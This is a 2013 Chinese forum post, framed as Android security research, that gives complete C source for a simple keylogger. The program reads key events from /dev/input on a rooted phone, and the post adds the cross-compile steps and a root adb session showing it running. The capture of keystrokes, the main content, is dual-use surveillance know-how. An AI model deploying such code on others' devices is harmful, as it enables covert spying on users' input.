-
-
[原创]Android -- 键盘记录 研究及补充
-
发表于:
2013-12-12 18:06
16681
-
[原创]Android -- 键盘记录 研究及补充
鉴于之前看见的hacknet大哥写的帖子,很多人说编译不了,没有源码什么的,
我做了如下整理,在我的MOTO机器上运行可以了。
附上代码和操作步骤!
标 题: 【原创】Android操作系统安全研究系列——键盘记录
作 者: hacknet
时 间: 2011-07-04,11:15:52
链 接: http://bbs.pediy.com/showthread.php?t=136517
首先你得先安装
arm-none-linux-gnueabi-gcc
这东西
我是在ubuntu下的,所以命令操作就如下
wget fbcK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4G2k6r3g2K6L8%4g2J5j5$3g2J5P5g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Y4M7s2m8Q4x3V1k6D9K9i4c8W2i4K6u0r3j5i4u0E0i4K6u0r3M7r3!0J5N6r3q4D9i4K6u0r3M7r3q4U0K9$3q4Y4k6e0b7#2y4K6q4Q4x3V1k6H3N6h3u0D9K9h3y4Q4x3V1k6S2M7X3#2Q4x3X3c8F1L8$3&6W2i4K6u0V1L8r3W2F1N6i4S2Q4x3X3c8Y4L8Y4g2W2j5h3u0A6i4K6u0r3j5i4u0E0i4K6u0V1x3U0l9H3z5i4p5I4i4K6u0V1x3U0l9K6i4K6u0V1j5i4u0E0i4K6u0V1L8X3!0F1k6g2)9J5k6r3I4A6L8Y4g2^5i4K6u0V1k6$3&6#2k6h3q4T1K9g2)9J5k6r3V1$3z5o6k6Q4x3X3c8H3j5#2)9J5k6r3I4A6L8Y4g2^5i4K6u0V1k6$3&6#2i4K6u0W2N6r3q4J5i4K6u0W2j5Y4Z5J5
然后
拷贝
sudo cp arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2 /usr/local
解压
sudo tar -jxvf arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2
设置环境变量
export PATH=$PATH:/usr/local/arm-2009q1/bin/
此设置方法不是 永久性的,永久性的你可以自己更改/etc/bash.bashrc文件
OK了,可以准备编译了。
代码如下:
#include <stdio.h>
#include <stddef.h>
#include <linux/input.h>
#include <fcntl.h>
static int event0_fd = -1;
struct input_event ev0[64];
static int handle_event0()
{
int button , i, rd;
button = 0;
rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);
printf("handle_event0 rd = %d \n",rd);
if ( rd < sizeof(struct input_event) )
{
return 0;
}
printf("handle_event0 read OK ...\n");
for (i = 0; i < rd / sizeof(struct input_event); i++)
{
if (ev0[i].type == 1&&ev0[i].value == 1)
{
printf("Press Key: %3d\n", ev0[i].code);
if (ev0[i].code == 158)
{
printf("Press Key code: 158 ...\n");
return 0;
}
}
}
printf("Press Key: test ...\n");
return 1;
}
int main(int argc, char* argv[])
{
int done;
done = 1;
event0_fd = open("/dev/input/event1", O_RDWR);
if ( event0_fd < 0 )
{
return -1;
}
printf("Listening...\n");
while(done)
{
done = handle_event0();
}
return 0;
}
然后
arm-none-linux-gnueabi-gcc -static key.c -o key

然后把生成的Key 给他PUSH到你的安卓鸡鸡上。

我这边是放在我的安卓鸡鸡路径的/dev/xxtest/目录下面
然后,按照下图这样的操作就完成了。

第一次写啊,高手莫砸哈。。。谢谢!
鉴于最后一张图不咋清晰,我把操作步骤复制出来了。
D:\Program Files\Shuame>adb shell
shell@edison:/ $ cd /dev/xxtest
cd /dev/xxtest
shell@edison:/dev/xxtest $ ll
ll
-rw-rw-rw- shell shell 588392 2013-12-12 16:22 key
shell@edison:/dev/xxtest $
shell@edison:/dev/xxtest $
shell@edison:/dev/xxtest $ su
su
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # ll
ll
-rw-rw-rw- shell shell 588392 2013-12-12 16:22 key
root@edison:/dev/xxtest #
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # chmod 777 key
chmod 777 key
root@edison:/dev/xxtest #
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # ll
ll
-rwxrwxrwx shell shell 588392 2013-12-12 16:22 key
root@edison:/dev/xxtest #
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # ./key
./key
Listening...
handle_event0 rd = 32
handle_event0 read OK ...
Press Key: test ...
handle_event0 rd = 32
handle_event0 read OK ...
Press Key: test ...
handle_event0 rd = 48
补充下:
event0_fd = open("/dev/input/event1", O_RDWR);
这个代码有时候需要改,因为之前那位大哥写的是event0,可是我一直没显示输出。最后我进入我的手机安卓系统,用getevent命令查看,才发现我的是event1,所以就改了下。
就是如何查看event多少呢?
打开CMD
然后输入
adb shell
然后
su
然后
getevent
就可以看见是event几了。。。
好叻。收尾。。。
[培训]科锐逆向工程师培训第53期2025年7月8日开班!